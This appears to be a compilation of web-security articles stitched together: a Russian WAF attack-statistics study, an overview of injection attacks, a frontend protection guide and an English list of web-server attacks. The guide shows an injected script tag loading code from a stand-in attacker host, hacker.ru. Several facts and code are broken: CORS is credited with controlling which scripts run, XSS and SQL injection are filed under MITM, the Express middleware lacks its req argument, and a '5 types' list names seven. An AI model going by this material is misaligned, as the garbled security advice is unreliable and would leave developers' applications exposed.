Сценарий атаки на веб приложение

Общедоступные веб-приложения являются привлекательной мишенью для злоумышленников. Атаки на веб-приложения открывают перед ними широкие возможности: доступ к в...

Как хакеры атакуют веб-приложения: боты и простые уязвимости

Общедоступные веб-приложения являются привлекательной мишенью для злоумышленников. Атаки на веб-приложения открывают перед ними широкие возможности: доступ к внутренним ресурсам компании, чувствительной информации, нарушение функционирования приложения или обход бизнес-логики – практически любая атака может принести финансовую выгоду для злоумышленника и убытки, как финансовые, так и репутационные – для владельца веб-приложения. Кроме того, под угрозой находятся и пользователи веб-приложений, поскольку успешные атаки позволяют похищать учетные данные, выполнять действия на сайтах от лица пользователей, а также заражать рабочие станции вредоносным ПО.

При исследовании атак на веб-приложения мы, в первую очередь, ставили перед собой задачу установить, какие атаки пользуются наибольшей популярностью у злоумышленников и каковы возможные мотивы их действий, а также определить основные источники угроз для различных отраслей. Такие данные позволяют понять, каким аспектам следует уделить внимание при обеспечении безопасности веб-приложений. Кроме того, мы рассмотрим распределение типов атак и активности злоумышленников в зависимости от сферы деятельности компании, а также динамику изменения характера атак в течение года.

Для сбора исходных данных по атакам мы использовали данные, полученные в ходе пилотных проектов по внедрению межсетевого экрана прикладного уровня PT Application Firewall (PT AF) в 2016 году. В пилотных проектах принимали участие государственные учреждения, организации сферы образования, финансов, транспорта, промышленности и IT. Среди рассматриваемых систем присутствуют как российские компании, так и зарубежные. Все приведенные в данном исследовании примеры атак были проверены вручную на предмет ложных срабатываний и являются достоверными.

Популярность атак по отраслям

Наиболее часто в ходе пилотных проектов встречались «Внедрение операторов SQL» и «Выполнение команд ОС», такие атаки PT AF фиксировал более чем в 80% систем. Path Traversal занимает второе место по популярности среди выявленных атак. Очевидно, что в первую очередь злоумышленники пробуют применить наиболее простые атаки, не требующие особых условий для выполнения. В основном более низкий процент обнаружения атаки свидетельствует о более высоком уровне сложности или необходимости специальных условий для ее реализации, например, наличия функции загрузки файлов в веб-приложении или совершения определенных действий со стороны пользователей.

При составлении рейтинга наиболее популярных атак мы исключили атаки, которые осуществлялись специальным ПО для автоматизированного сканирования веб-приложения на наличие уязвимостей, например, Acunetix, sqlmap.

Рейтинг наиболее популярных атак (доли веб-приложений)

Большинство атак в этом рейтинге эксплуатируют критически опасные уязвимости и могут привести к полной компрометации веб-приложения и сервера, что может позволить злоумышленнику получить доступ к ресурсам локальной сети.

Соотношение типов атак, зафиксированных в ходе работы PT AF, и их количество меняются в зависимости от отрасли, к которой относится исследуемая система. Злоумышленники преследуют разные цели, при этом уровень квалификации и технические возможности нарушителей также различаются. На приведенных диаграммах представлены среднее количество атак в день на одну систему, а также соотношение количества атак, выполняемых вручную и с использованием утилит для автоматизированного сканирования.

Среднее количество атак в день на одну систему

Соотношение автоматизированного сканирования и атак, выполняемых вручную

Большую часть атак для всех отраслей, кроме государственных учреждений и интернет-магазинов, составляют атаки, выполняемые при помощи специализированного ПО для поиска уязвимостей. Автоматизированное сканирование включает в себя попытки выполнения различных видов атак, например, внедрения операторов SQL, Path Traversal, с использованием готовых программных средств инструментального анализа защищенности. Результаты сканирования могут быть использованы злоумышленником для эксплуатации уязвимостей и дальнейшего развития вектора атаки до получения доступа к чувствительной информации, ресурсам локальной сети, критически важным системам или для проведения атак на пользователей.

На рисунке ниже приведен пример обнаружения автоматизированного сканирования с помощью утилиты sqlmap. PT AF выявил нежелательное содержание HTTP-заголовка User-Agent и запрос, содержащий внедрение операторов SQL.

Пример обнаружения автоматизированного сканирования

Наибольшее среднее количество атак в день – приблизительно 3500 атак – зафиксировано в ходе пилотных проектов в государственных учреждениях. Автоматизированный поиск уязвимостей составляет всего 18% от общего числа атак. Интернет-магазины занимают вторую строчку в этом рейтинге: в день регистрировалось около 2200 атак, при этом практически все они проводились без использования автоматизированных средств сканирования.

В финансовой сфере PT AF регистрировал около 1400 атак в день, среди которых преобладал автоматизированный поиск уязвимостей. На транспортные ресурсы и IT-компании приходится в среднем около 680 атак в день, большую часть которых также составляет автоматизированный поиск уязвимостей.

Из расчетов среднего количества атак в день для сферы образования был исключен информационно-аналитический центр, в функции которого входит обработка результатов государственных экзаменов. Пилотный проект для этого центра проходил в летнее время, когда учащиеся школ сдавали ЕГЭ и ГИА, в связи с чем наблюдалось чрезвычайно большое число атак на веб-приложение – более 20 000 атак в день. При этом самыми распространенными являлись атаки с использованием инструментальных средств сканирования на наличие уязвимостей. Учащиеся, обладая базовыми знаниями об информационной безопасности и способах обхода механизмов защиты, могли использовать общедоступное ПО для сканирования системы. Этим объясняется и тот факт, что большая часть атак данного типа исходила со стороны США: вероятно, публичные утилиты или онлайн-сервисы использовали прокси-серверы, расположенные на территории США. Целью атак на информационно-аналитический центр, скорее всего, был доступ к результатам экзаменов и экзаменационным материалам. Возможно, учащиеся считали, что таким образом смогут изменить свои баллы, полученные за экзамен. Кроме того, можно предположить, что злоумышленники пытались найти уязвимости, эксплуатация которых позволила бы получить доступ к базам экзаменационных материалов для последующего нелегального распространения.
Для промышленных систем PT AF зафиксировал около 50 атак в день, практически все представляли собой автоматизированный поиск уязвимостей, и лишь 1% проводился вручную.

На следующей диаграмме для каждой отрасли представлено соотношение типов атак, осуществляемых злоумышленниками, при этом из расчетов были исключены атаки, совершаемые в рамках автоматизированного сканирования на наличие уязвимостей, поскольку они не являются специфичными для конкретных отраслей.

Соотношение типов атак, выполняемых вручную

Для государственных учреждений более 70% составили атаки Path Traversal, с помощью которых злоумышленники пытались выйти за пределы текущего каталога файловой системы и получить доступ к файлам, находящимся на сервере, с целью хищения чувствительной информации.

Пример обнаружения атаки Path Traversal представлен ниже. Злоумышленник намеревался выйти в корневую директорию сервера и получить доступ к файлу /etc/passwd, который содержит список учетных записей пользователей системы.

Пример обнаружения атаки «Path Traversal»

Около 17% атак являются попытками внедрения операторов SQL. Небольшую часть (около 8%) составляют атаки «Межсайтовое выполнение сценариев», направленные на пользователей порталов государственных услуг. Выполнить команды ОС злоумышленники пытались в 2% случаев.

Почти три четверти атак на интернет-магазины составили атаки Path Traversal. Так же, как и на порталах, предоставляющих государственные услуги, злоумышленники предпринимали попытки выйти за пределы текущего каталога файловой системы. Существенную часть (14%) составляют атаки на отказ в обслуживании. Для интернет-магазина угроза нарушения доступности веб-приложения является критической. Атаки на пользователей («Межсайтовое выполнение сценариев» и «Подделка межсайтовых запросов») в сумме составляют 4%. В 4% случаев встречается и внедрение операторов SQL.

В финансовой сфере около 65% в совокупности составили атаки «Межсайтовое выполнение сценариев» и «Подделка межсайтовых запросов», направленные на пользователей систем. Такие атаки широко распространены в финансовой отрасли и представляют особую опасность, поскольку позволяют похищать значения Cookie и учетные данные пользователей (при помощи фишинга), а также совершать действия от лица легитимных пользователей.

На рисунке приведен пример выявления атаки «Межсайтовое выполнение сценариев». Злоумышленник пытался вывести на экран значения Cookie для проверки уязвимости веб-приложения к этой атаке.

Пример обнаружения атаки «Межсайтовое выполнение сценариев»

Злоумышленники пробовали получить доступ к чувствительной информации с помощью атаки Path Traversal (15% от общего числа) и внедрения операторов SQL (7% от общего числа). Доля атак «Загрузка произвольных файлов» составила 7%. Подобные атаки часто используются для получения доступа к выполнению команд ОС, при этом непосредственное выполнение команд ОС было зарегистрировано в 3% случаев. В целом, характер и сложность атак свидетельствуют о более высоком уровне технической подготовки злоумышленников по сравнению с другими рассматриваемыми отраслями.

В сфере IT более половины зафиксированных атак являются попытками внедрения операторов SQL. Присутствуют также атаки Path Traversal (20% от общего числа). Кроме того, 16% являются попытками выполнения команд ОС, а 12% атак на веб-приложения IT-компаний нацелены на пользователей систем.

Для веб-приложений транспортных компаний количество атак «Внедрение операторов SQL» превышает 50%, около 38% составляет утечка информации, и 6% — выполнение команд ОС.

В сфере образования приблизительно 70% атак, выполняемых вручную, составило «Внедрение операторов SQL». Эта атака зачастую является достаточно простой в исполнении, ее можно использовать для получения доступа к личным кабинетам пользователей или содержимому баз данных. Около 30% атак представляют собой эксплуатацию уязвимости «Утечка информации», которая может позволить злоумышленнику получить чувствительные данные или узнать дополнительную информацию о системе.

На рисунке можно увидеть пример обнаружения внедрения операторов SQL, злоумышленник ввел свой запрос к базе данных в GET-параметре id для проверки возможности эксплуатации уязвимости.

Пример обнаружения атаки «Внедрение операторов SQL»

Почти две трети атак на приложения промышленных предприятий составили атаки на отказ в обслуживании (DDoS). На рисунке ниже представлен пример обнаружения трех цепочек атак, включая DDoS. Межсетевой экран PT AF строит такие цепочки автоматически, благодаря выявлению корреляций между событиями, которые разнесены во времени, но при этом являются частями одной атаки.

Пример обнаружения связанных событий, включая DDoS

Источники атак

Анализ источников атак проводился только в отношении российских систем, участвовавших в пилотных проектах. Наибольшее число зафиксированных атак исходят из русскоговорящих стран, на первых позициях находятся Россия и Украина. Достаточно высок процент атак, источником которых являются Нидерланды и США, поскольку на территории этих стран находится большое число провайдеров, предоставляющих услуги прокси-серверов.

Внешние источники атак по отраслям

Источники внешних атак на российские организации различаются в зависимости от отрасли. Большая часть атак на государственные учреждения совершается с российских IP-адресов, около трети совершаются с IP-адресов, принадлежащих украинским провайдерам, в 6% случаев источником являются Нидерланды.

Источником атак для интернет-магазинов приблизительно в равных долях (около четверти от общего числа) являются Россия и Украина. Более трети атак проходит через IP-адреса Нидерландов.

Для атак на сферу образования, как было показано выше, широко используются публичные сервисы и утилиты для сканирования веб-приложений на наличие уязвимостей. Для сокрытия действительного IP-адреса источника атаки такое ПО, в основном, задействует серверы, расположенные на территории США. Пятая часть атак исходит от российских IP-адресов.

Интересно отметить, что источником более трети атак на веб-приложения университетов являются внутренние злоумышленники (в среднем для сферы образования этот показатель равен 8%). Вероятно, это учащиеся, имеющие доступ к беспроводным сетям образовательного учреждения, а также доступ к локальной сети в учебных аудиториях.

Соотношение внешних и внутренних нарушителей

В финансовой сфере от внутренних нарушителей исходит около 10% атак. Не исключается также вариант, что нарушителем в ряде случаев может быть администратор системы, проводящий тестирование защитных механизмов.

Заключение

По результатам проведенных пилотных проектов PT AF можно сделать вывод, что большинство атак, совершаемых злоумышленниками, достаточно просты как в исполнении, так и в обнаружении средствами защиты типа WAF.

В то же время во второй половине 2016 года наблюдался значительный рост числа атак на веб-ресурсы, в первую очередь, с IP-адресов Украины и Турции. Принимая во внимание сообщения Федеральной службы безопасности о планируемых кибератаках, российским компаниям, в частности, финансовым организациям, рекомендуется заранее предпринять соответствующие меры для защиты критически важных компонентов и убедиться в эффективности используемых средств защиты.

Невзирая на большое количество простых атак, следует также учитывать, что уровень технической подготовки современных злоумышленников позволяет реализовать атаки высокого уровня сложности, требующие осуществления ряда действий, которые происходят в разное время и на первый взгляд не взаимосвязаны. Для выявления цепочек таких атак, в том чиcле для обнаружения длительных целевых атак и при расследовании инцидентов, необходимо использовать инструменты корреляционного анализа.

Полная версия исследования доступна по ссылке.

Авторы: Екатерина Килюшева, Евгений Гнедин

P. S. В четверг, 27 апреля в 14:00 старший эксперт Positive Technologies Всеволод Петров проведет бесплатный вебинар, в ходе которого расскажет о том, почему хакерам удается осуществлять успешные атаки на веб-приложения, и как это можно предотвратить.

Кроме того, речь пойдет о технологических возможностях межсетевого экрана уровня приложений PT Application Firewall, которые помогают ему усилить традиционные периметровые средства защиты и обеспечить безопасность по всем фронтам.

Участие в вебинаре бесплатное, зарегистрироваться можно по ссылке www.ptsecurity.com/ru-ru/research/webinar/226999/

Проблема с веб-приложениями заключается в том, что им подвергаются миллиарды интернет-пользователей!

В первые дни работы Интернета одним из наиболее распространенных методов атаки был простой брутфорс.

Обычно боты выполняли эти атаки – или люди с большим количеством свободного времени – которые пробовали миллионы комбинаций имен пользователей и паролей, пока не находили такую, которая предоставила бы доступ к целевому приложению.

Атаки  брутфорса больше не являются угрозой благодаря политике паролей, ограниченным попыткам входа в систему и капчам.

👨⚕️️ Атаки веб-приложений: что это такое и как оставаться защищенным👨

Но киберпреступники любят открывать новые технологии и использовать их для выполнения новых типов атак.

Давным-давно они обнаружили, что текстовые поля в приложениях или на веб-страницах можно использовать, вводя в них какой-либо текст, который заставит приложение делать то, что оно не должно было делать.

Таким образом, на сцену вышли так называемые инъекционные атаки.

Атаки с помощью инъекций могут использоваться не только для входа в приложение без знания имени пользователя и пароля, но также для раскрытия частной, конфиденциальной или даже для захвата всего сервера.

Вот почему эти атаки представляют угрозу не только для веб-приложений, но и для пользователей, чьи данные находятся в этих приложениях, а в худшем случае – для других подключенных приложений и служб.

Содержание

  1. Инъекция кода
  2. SQL-инъекция
  3. Инъекция команд
  4. Межсайтовый скриптинг
  5. XPath инъекция
  6. Внедрение команд почты
  7. CRLF инъекция
  8. Внедрение заголовков хоста
  9. Инъекция LDAP
  10. Предотвращение инъекционных атак

Инъекция кода

Внедрение кода является одним из наиболее распространенных типов атак.

Если злоумышленники знают язык программирования, структуру, базу данных или операционную систему, используемую веб-приложением, они могут ввести код через поля ввода текста, чтобы заставить веб-сервер делать то, что они скажут.

  • 🔐 Внедрение команды ОС для атаки на веб приложения
  • 💉 Что такое инъекция кода в Windows


Эти типы инъекционных атак возможны в приложениях, в которых отсутствует проверка входных данных.

Если текстовое поле ввода позволяет пользователям вводить все, что они захотят, то приложение потенциально может быть скомпрометировано.

Чтобы предотвратить атаки такого рода, приложение должно ограничивать входные данные от пользователей.

Например, необходимо ограничить объем ожидаемых данных, проверять формат данных  и ограничить набор разрешенных символов.

Уязвимости внедрения кода легко найти, просто протестировав ввод текста в веб-приложения с различным типом контента.

Обнаруженные уязвимости трудно использовать.

Но если злоумышленнику удастся использовать одну из этих уязвимостей, это может привести к потере конфиденциальности, целостности, доступности или функциональности приложения.

SQL-инъекция

Подобно внедрению кода, эта атака вставляет скрипт SQL – языка, используемого большинством баз данных для выполнения операций запросов – в поле ввода текста.

Скрипт отправляется приложению, которое выполняет его непосредственно в своей базе данных.

В результате злоумышленник может пройти через экран входа в систему или совершать более опасные действия, такие как чтение конфиденциальных данных непосредственно из  самой базы данных, изменение или уничтожение данных базы данных или выполнение в ней операций администратора.

Приложения PHP и ASP подвержены атакам внедрения SQL из-за своих старых функциональных интерфейсов.

Приложения J2EE и ASP.Net обычно более защищены от этих атак.

При обнаружении уязвимости SQL-инъекций – а их можно легко найти – масштаб потенциальных атак будет ограничен только умением и воображением злоумышленника.

Таким образом, влияние атак использованием SQL-инъекции, несомненно, велико.

Инъекция команд

Эти атаки также возможны, в основном из-за недостаточной проверки ввода.

Они отличаются от атак внедрения кода тем, что злоумышленник вставляет системные команды вместо фрагментов программного кода или скриптов.

Следовательно, хакеру не нужно знать язык программирования, на котором базируется приложение, или язык, используемый базой данных.

Но он должен знать операционную систему, используемую хост-сервером.

  • Список пэйлоадов для инъекций команд
  • 🔐 Внедрение команды ОС для атаки на веб приложения

Внедренные системные команды выполняются операционной системой хоста с привилегиями приложения, которые могут предоставлять доступ к содержимому произвольных файлов, находящихся на сервере, для отображения структуры каталогов сервера, для изменения паролей пользователей и т.д.

Эти атаки могут быть предотвращены системным администратором путем ограничения уровня доступа к системе веб-приложений, работающих на сервере.

Межсайтовый скриптинг

Всякий раз, когда приложение позволяет осуществлять ввод пользователю в вывод, который оно генерирует, не проверяя и не кодируя его, оно дает злоумышленнику возможность отправлять вредоносный код другому конечному пользователю.

Атаки с использованием межсайтовых сценариев (XSS) используют эти возможности для внедрения вредоносных сценариев в надежные веб-сайты, которые в конечном итоге отправляются другим пользователям приложения, которые становятся жертвами злоумышленника.

Браузер жертвы выполняет вредоносный скрипт, не подозревая, что ему нельзя доверять.

  • 👨⚕️️ Что такое XSS (межсайтовый скриптинг)👨⚕️ — Детальное понимание типов XSS
  • Как предотвратить межсайтовый скриптинг XSS на основе DOM

Поэтому браузер разрешает ему получать доступ к токенам сеансов, файлам cookie или конфиденциальной информации, хранящейся в браузере.

При правильном программировании сценарии могут даже переписать содержимое файла HTML.

Атаки XSS обычно можно разделить на две категории: хранимые и отраженные.

В хранимых XSS-атаках вредоносный скрипт постоянно находится на целевом сервере, в пуле сообщений, в базе данных, в журнале посещений и т. д.

Жертва получает его, когда браузер запрашивает сохраненную информацию.

В отраженных атаках XSS вредоносный сценарий отражается в ответе, который включает входные данные, отправленные на сервер.

Это может быть, например, сообщение об ошибке или результат поиска.

XPath инъекция

Этот тип атаки возможен в том случае, когда веб-приложение использует информацию, предоставленную пользователем, для создания запроса XPath для данных XML.

Эта атака работает аналогично SQL-инъекции: злоумышленники отправляют искаженную информацию в приложение, чтобы узнать, как структурированы данные XML, а затем снова атакуют, чтобы получить доступ к этим данным.

XPath – это стандартный язык, с помощью которого, подобно SQL, вы можете указать атрибуты, которые хотите найти.

Чтобы выполнить запрос к данным XML, веб-приложения используют пользовательский ввод для установки шаблона, которому должны соответствовать данные.

Посылая некорректный ввод, шаблон может превратиться в операцию, которую злоумышленник сможет применить по отношению к данным.

Внедрение команд почты

Этот метод атаки может использоваться для эксплуатации почтовых серверов и приложений, которые создают операторы IMAP или SMTP с неправильно проверенным пользовательским вводом.

Иногда серверы IMAP и SMTP не имеют надежной защиты от атак, как это было бы в случае с большинством веб-серверов, и, следовательно, могли бы быть более уязвимыми.

Заходя через почтовый сервер, злоумышленники могут обойти ограничения, такие как капчи, ограниченное количество запросов и т. д.

Чтобы использовать SMTP-сервер, злоумышленникам нужна действующая учетная запись электронной почты для отправки сообщений с введенными командами.

Если сервер уязвим, он будет отвечать на запросы злоумышленников, позволяя им, например, переопределять ограничения сервера и использовать свои службы для рассылки спама.

CRLF инъекция

Вставка символов и перевода строки – комбинации, известной как CRLF, – в поля ввода веб-формы представляет собой метод атаки, называемый инъекцией CRLF.

Эти невидимые символы указывают на конец строки или конец команды во многих традиционных интернет-протоколах, таких как HTTP, MIME или NNTP.

Например, вставка CRLF в HTTP-запрос с последующим определенным HTML-кодом может отправлять пользовательские веб-страницы посетителям веб-сайта.

Эта атака может быть выполнена на уязвимых веб-приложениях, которые не применяют надлежащую фильтрацию к пользовательскому вводу.

Эта уязвимость открывает двери для других типов атак с использованием инъекций, таких как XSS и внедрение кода.

Внедрение заголовков хоста

На серверах, на которых размещено множество веб-сайтов или веб-приложений, заголовок узла становится необходимым для определения того, какой из резидентных веб-сайтов или веб-приложений, каждое из которых известно как виртуальный хост, должен обрабатывать входящий запрос.

Значение заголовка сообщает серверу, на какой виртуальный хост отправлять запрос.

Когда сервер получает неверный заголовок узла, он обычно передает его первому в списке виртуальному узлу.

Это представляет собой уязвимость, которую злоумышленники могут использовать для отправки произвольных заголовков узлов первому виртуальному узлу на сервере.

Инъекция LDAP

LDAP – это протокол, разработанный для облегчения поиска ресурсов (устройств, файлов, пользователей) в сети.

Он очень полезен для интрасетей, и когда он используется как часть системы единого входа, он может использоваться для хранения имен пользователей и паролей.

Запросы LDAP включают использование специальных управляющих символов, которые влияют на его управление

Злоумышленники могут потенциально изменить предполагаемое поведение запроса LDAP, если они могут вставить в него управляющие символы.

Предотвращение инъекционных атак

Как мы увидели в этой статье, все инъекционные атаки направлены на серверы и приложения с открытым доступом в Интернете.

Ответственность за предотвращение этих атак распределяется между разработчиками приложений и администраторами серверов.

Разработчики приложений должны понимать риски, связанные с неправильной проверкой пользовательского ввода, и изучать лучшие практики для очистки пользовательского ввода в целях предотвращения рисков.

Администраторы серверов должны периодически проверять свои системы, чтобы обнаруживать уязвимости и исправлять их как можно скорее.

Существует много вариантов выполнения этих аудитов, как по запросу, так и автоматически.

Серёжа Джуновский прогоняет вирусы от компьютера

Невозможно полностью защитить приложение от атак. Постоянно появляются новые технологии и npm-пакеты, выходят обновления для CMS и фреймворков — всё это создается людьми, поэтому неизбежны баги и уязвимости. А ещё на пути данных от клиента к серверу и обратно находится большое количество протоколов — они тоже содержат уязвимости и могут быть источниками угроз. Поэтому задача разработчика — предусмотреть «дыры» в безопасности и написать код, устойчивый к большинству атак. Давайте посмотрим, как фронтендеру обезопасить веб-приложение.

Какие бывают атаки

Чтобы понимать, куда направлены атаки, важно знать структуру передачи данных. Задачи по их отправке и получению разделены между клиентом и сервером. Клиент отправляет запрос, а сервер принимает его и возвращает ответ. Клиент — это любое устройство для работы с сайтом, например, ноутбук или смартфон. Сервер — специальная программа, или мощный компьютер.

Атаки делятся на те, которые направлены на клиентскую часть, и те, которые направлены на серверную. Но это распределение условно, ведь есть атаки, которые направлены и на клиент, и на сервер. А некоторые атаки направлены на сервер, но реализуются на клиенте. Например, взлом базы данных, когда киберпреступник через поля ввода добирается до информации о базе данных.

MITM — группа атак с участием посредника, когда киберпреступник тайно вмешивается в обмен данными, чтобы получить или изменить информацию. К таким атакам относятся XSS-атаки и SQL-инъекции.

XSS-атаки — попытка захвата данных, когда киберпреступник внедряет собственный JavaScript-код в веб-приложение и затем использует в личных целях. Такую атаку используют, чтобы захватить учётные записи, украсть личные данные, выдать себя за пользователей или получить доступ к информации.

SQL-атака — атака на базу данных веб-приложения. При работе с базой разработчики используют SQL-запрос. Когда хакер добавляет к таким запросам вредоносный код, происходит SQL-атака, или SQL-инъекция.

CSRF-атака — подделка межсайтовых запросов. При атаке пользователя обманом заставляют делать в веб-приложении то, что он не хотел. Например, пользователя переводят на поддельный сайт, чтобы он перевёл деньги киберпреступнику или ввёл логин и пароль.

DoS и DDoS-атаки — попытка вывести веб-приложение из строя. Такие атаки происходят через настолько большой поток трафика, что веб-приложение не может его обработать и выходит из строя. DoS-атака организовывается с одного источника, а DDoS — с двух и более.

Атаки с загрузкой файлов — попытка получить информацию или нарушить работу веб-приложения, когда злоумышленник отправляет файл с вредоносным кодом через поле для загрузки.

Манипуляция URL — изменение URL в адресной строке браузера. Если веб-приложение не защищено, то киберпреступник добирается до приватной информации, например, личных данных или сведений о заказанных товарах. Ещё к этой атаке относится поиск страниц, скрытых от пользователей.

Как оценить безопасность приложения

Оценить безопасность веб-приложения можно с помощью специальных сервисов и программ: OWASP ZAP, Arachni, Burp Suite или других. Они помогают срежиссировать разные атаки и узнать об уязвимостях при разработке или в готовом веб-приложении.

Результаты тестирования в Burp Suite

На скриншоте показаны результаты тестирования в Burp Suite— найдено несколько уязвимостей, и в правом нижнем углу описано, как тестировали определённую атаку.

Такие сканеры проверяют приложение на все основные атаки, в том числе XSS, SQL-инъекции, CSRF и загрузку вредоносных файлов. После тестирования вы получаете подробный отчёт об уязвимости веб-приложения — он пригодится при составлении карты задач для повышения безопасности.

Как защитить приложение от атак

Обо всех способах защиты невозможно рассказать в одной статье — их слишком много. Мы коротко разберём основные, а если вы захотите углубиться в тему, вам поможет курс «Протоколы и сети: веб-безопасность».

Защита сайта на CMS

Выбирайте для веб-приложения популярные CMS с частыми обновлениями — их разработчики постоянно работают над исправлением уязвимостей. При этом помните, что обновления могут не только закрывать старые слабые места в безопасности, но и обнажать новые.

Узнать о новых уязвимостях можно на сайте Банка данных угроз безопасности информации. А ещё разработчики популярных CMS сами предупреждают пользователей, например, список уязвимостей для WordPress есть на сайте.

Как защитить сайт на CMS:

  • Обновляйте CMS.
  • Обновляйте темы и плагины.
  • Используйте как можно меньше плагинов.
  • Скройте данные входа в админку, изменив стандартный URL входа.
  • Ограничьте количество попыток входа в админку.
  • Выберите собственный префикс таблицы. Например, в WordPress по умолчанию задан префикс wp_, а вы можете изменить его на academy_ или keks_. Задавать префикс нужно при установке CMS — в готовом проекте его нельзя менять, иначе вы потеряете доступ к базе данных.

А ещё в документации к CMS иногда есть рекомендации по защите. Например, такие советы есть у 1С-Битрикс и OpenCart — обязательно следуйте им.

Защита со стороны клиента

Защищайте и валидируйте поля ввода. Поля ввода очень уязвимы, ведь злоумышленники могут отправлять через них вредоносный код. Поэтому не разрешайте пользователям вводить символы, которые запускают JavaScript или PHP: слэш, угловые скобки и знак вопроса. Также хорошая практика — не давать отправлять форму, если ни одно поле не заполнено.

Старайтесь валидировать все поля, например, запретите ввод букв в поле для номера телефона. Можно ограничить максимальное количество символов, только учитывайте, что номера телефонов в международном формате бывают длинными, а ещё пользователи из России по-разному вводят номера: кто-то начинает с +7, а кто-то пишет восьмёрку, поэтому длина номера может варьироваться. Для таких случаев разрешите вводить в поле как минимум 20 символов, в том числе плюс, скобки, дефис и пробел.

При валидации важное правило — не создать проблем для пользователя. Здесь есть две стратегии:

  • «чёрные списки» — запретить для ввода набор символов, а остальные разрешить,
  • «белые списки» — разрешить только необходимые символы, а остальные запретить.

«Белые списки» безопаснее, но такая степень защиты не всегда подходит. Например, при создании сайта, похожего на StackOverflow, нельзя ограничивать ввод символов, используемых в коде — иначе пользователи не смогут задавать вопросы. Поэтому здесь подойдёт чёрный список.

Создавайте системы с авторизацией. Создавайте разные уровни доступа, чтобы одни пользователи могли только читать страницы, другие — читать и редактировать, а третьи — редактировать код. Такое разделение защищает от SQL-инъекций, кражи cookies и других атак. Главное — не создавать «суперадминистратора» с максимальным количеством прав, иначе при взломе этого пользователя вся информация станет доступна киберпреступнику. Например, владельцу компании не нужны доступы к коду веб-приложения, а техлиду — к бухгалтерским отчётам.

Подключите WAF — брандмауэры веб-приложений. Они защищают сайты, фильтруя входящий поток пользователей, и анализируют HTTP-трафик, блокируя ботов и выявляя аномалии трафика. Чтобы их подключить, обратитесь в хостинговую компанию или установите специальные системы, например, Nemezida WAF.

WAF нельзя использовать как единственный способ защиты: они не защищают от всех атак, так как есть множество способов их переобхода.

Защищайте cookies. Храните в cookies только настройки веб-приложения для конкретного пользователя, например, язык сайта по умолчанию — эти данные не являются конфиденциальными, и при их краже ничего страшного не произойдёт. А вот данные банковских карт, пароли или паспортные данные пользователей в cookies хранить нельзя. Также хороший способ защиты — недолгий срок жизни cookies и ограничение на действие только в рамках домена веб-приложения.

Защищайте файлы при загрузке. Разрешайте пользователям загружать только необходимые типы файлов. Например, при загрузке фото в профиль разрешайте только растровые форматы графики. Для загрузки pdf-файла разрешайте только формат pdf.

Атрибут accept со значением "image/*" разрешит все типы изображений:

<input type="file" accept="image/*">

Атрибут accept со значением "audio/*" и "video/*" разрешит все типы аудио и видео:

<input type="file" accept="audio/*">
<input type="file" accept="video/*">

Можно прописать определённые типы. Разрешим прикреплять только pdf:

<input type="file" accept="pdf">

Другой способ записи:

<input type="file" accept="application/pdf">

Разрешим прикреплять форматы изображений ​​jpg, jpeg, png:

<input type="file" accept=".jpg, .jpeg, .png">

Другой способ записи:

<input type="file" accept="image/jpeg, image/jpeg, image/png">

Популярные типы и расширения файлов есть на сайте HTML Book, а полный список — на сайте IANA.

Всё это валидация на клиенте, то есть в браузере. Если удалить атрибут accept через инструменты разработчика или поменять тип файла с hacker.exe на hacker.jpg, валидация не сработает. Поэтому такую защиту нужно делать ещё и на сервере.

Устанавливайте максимальный размер файлов, чтобы снизить нагрузку на сервер — это поможет от DoS- и DDoS-атак. Храните загруженные файлы вне корневой директории, например, на поддомене. Тогда загруженный вредоносный файл не навредит основному коду веб-приложения.

Используйте политику безопасности контента — CSP. В ней можно указать, какой код выполнить, а какой — заблокировать. Например, можно запретить выполнение встроенного кода: даже если киберпреступник добавит вредоносный код, то он не выполнится и не навредит. Также можно разрешить выполнение скрипта только из определённой директории, например, assets/scripts. Или можно разрешить выполнение скриптов только с собственного домена.

CSP защищает веб-приложение от вредоносного кода, но она не подходит, если веб-приложению нужно извлекать ресурсы с других сервером или источников. Более мягкая защита — CORS. Он относится к защите серверной части.

Защита со стороны сервера для фронтендера

CORS — протокол для междоменного использования ресурсов. Он построен поверх HTTP и позволяет серверной части указывать браузеру, какие подключённые URL скриптов можно выполнять. Такая защита важна, когда киберпреступнику удалось добавить вредоносный URL:

<script src='https://api-maps.yandex.ru/2.1/?apikey=960272e&lang=ru_RU'></script>
  <script src="js/catalog-scripts.min.js"></script>
  <script src="https://hacker.ru/success.js"></script>
  <script src="js/map.min.js"></script>
</body>
</html>

CORS позволяет точно указать, какие скрипты выполнять, а какие нет. Также можно указать разрешённые методы, например, чтобы киберпреступник не смог вместо GET-запроса воспользоваться методом DELETE. Или можно указать ​​исходный источник запроса, чтобы источник хакера не был использован.

В CORS есть заголовки:

  • Origin — в нём указывается исходный источник запроса, то есть домен, на котором расположены собственные ресурсы, или поддомен.
  • Access-Control-Request-Headers — здесь указываются заголовки, которые будут отправлены вместе с запросом.
  • Access-Control-Request-Method — в нём указывается разрешённый для запроса метод HTTP, например, DELETE. Можно указать один или несколько методов.

Посмотрим, как работает CORS. Сначала установим npm-пакет cors:

В файле server.js импортируем cors:

const cors = require("cors");

Укажем белый список источников:

app.use(function(res, next) {
  res.header("Access-Control-Allow-Origin", "https://htmlacademy.ru");
  next();
});

Укажем разрешённые заголовки:

res.header(
  "Access-Control-Allow-Headers",
  "Origin, X-Requested-With, Content-Type, Accept"
);

Укажем разрешённые методы:

res.header(
  "Access-Control-Allow-Methods",
  "GET, POST, PUT, DELETE"
);
next();
});

Так можно защитить веб-приложение от вредоносных ресурсов, даже если киберпреступник его взломал.

Итоги

Киберпреступники взламывают сайты для рассылки спама, создания статей с редиректом на свои сервисы, кражи личных данных или других целей. Поэтому защита веб-приложения — важная часть разработки и поддержки веб-приложения.

Знание атак поможет составить обширную картину о возможных уязвимостях, писать устойчивый ко взломам код и выбрать способы защиты от киберпреступников.

Больше статей

  • Правила интернета: как работают IP, DNS, HTTP и SSL
  • Что такое CMS и как под них верстать
  • Типы данных в JavaScriptL

Web servers are where websites are stored. They are computers that run an operating system and are connected to a database to run multiple applications. A web server’s primary responsibility is to show website content by storing, processing, and distributing web pages to users.

Web Server Attack:

Any attempt by a malicious actor to undermine the security of a Web-based application is referred to as a Web Application Attack or Web Server Attack. Web application attacks can either target the application itself in order to get access to sensitive data, or they can use the application as a staging area for attacks against the program’s users.

There are 5 types of major Web Attacks:

  • Denial-of-Service (DoS) / Distributed Denial-of-service (DDoS)
  • Web Defacement Attack
  • SSH Brute Force Attack
  • Cross-site scripting (XSS)
  • Directory Traversal
  • DNS Server Hijacking
  • MITM Attack
